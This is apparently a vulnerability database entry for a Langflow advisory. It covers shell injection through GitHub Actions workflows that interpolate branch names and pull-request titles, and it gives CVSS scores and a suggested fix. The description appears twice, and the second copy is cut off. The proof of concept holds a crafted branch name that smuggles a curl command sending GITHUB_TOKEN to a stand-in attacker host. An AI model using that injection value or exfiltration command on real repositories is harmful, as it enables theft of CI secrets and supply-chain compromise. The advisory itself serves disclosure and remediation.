Description

Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability. --- ### Details Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Or: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection. --- ### PoC 1. **Fork** the Langflow repository 2. **Create a new branch** with the name: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Open a Pull Request** to the main branch from the new branch 4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`) 5. The `run:` step containing: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Will execute: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. The attacker receives the CI secret via the exfil URL. --- ### Impact - **Type:** Shell Injection / Remote Code Execution in CI - **Scope:** Any public Langflow fork with GitHub Actions enabled - **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data --- ### Suggested Fix Refactor affected workflows to **use environment variables** and wrap them in **double quotes**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value. --- ### Affected Files (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`

Metrics

 

CVSS Version 4.0 CVSS Version 3.x CVSS Version 2.0

NVD enrichment efforts reference publicly available information to associate vector strings. CVSS information contributed by other sources is also displayed.

CVSS 4.0 Severity and Vector Strings:

NIST: NVD

N/A

NVD assessment not yet provided.

CVSS 3.x Severity and Vector Strings:

NIST: NVD

Base Score:  N/A

NVD assessment not yet provided.

CNA:  GitHub, Inc.

Base Score:  9.1 CRITICAL

Vector:  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CVSS 2.0 Severity and Vector Strings:

NIST: NVD

Base Score: N/A

NVD assessment not yet provided.

Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.

---

### Details

Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as:

```yaml
run: |
  validate_branch_name "${{ github.event.pull_request.head.ref }}"
```

Or:

```yaml
run: npx playwright install ${{ inputs.browsers }} --with-deps
```

Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection.

---

### PoC

1. **Fork** the Langflow repository
2. **Create a new branch** with the name:
   ```bash
   injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN
   ```
3. **Open a Pull Request** to the main branch from the new branch
4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`)
5. The `run:` step containing:
   ```yaml
   echo "Branch: ${{ github.head_ref }}"
   ```
   Will execute:
   ```bash
   echo "Branch: injection-test"
   curl https://attacker.site/exfil?token=$GITHUB_TOKEN
   ```

6. The attacker receives the CI secret via the exfil URL.

---

### Impact

- **Type:** Shell Injection / Remote Code Execution in CI
- **Scope:** Any public Langflow fork with GitHub Actions enabled
- **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CWE-74

CWE-78

https://github.com/langflow-ai/langflow/security/advisories/GHSA-87cc-65ph-2j4w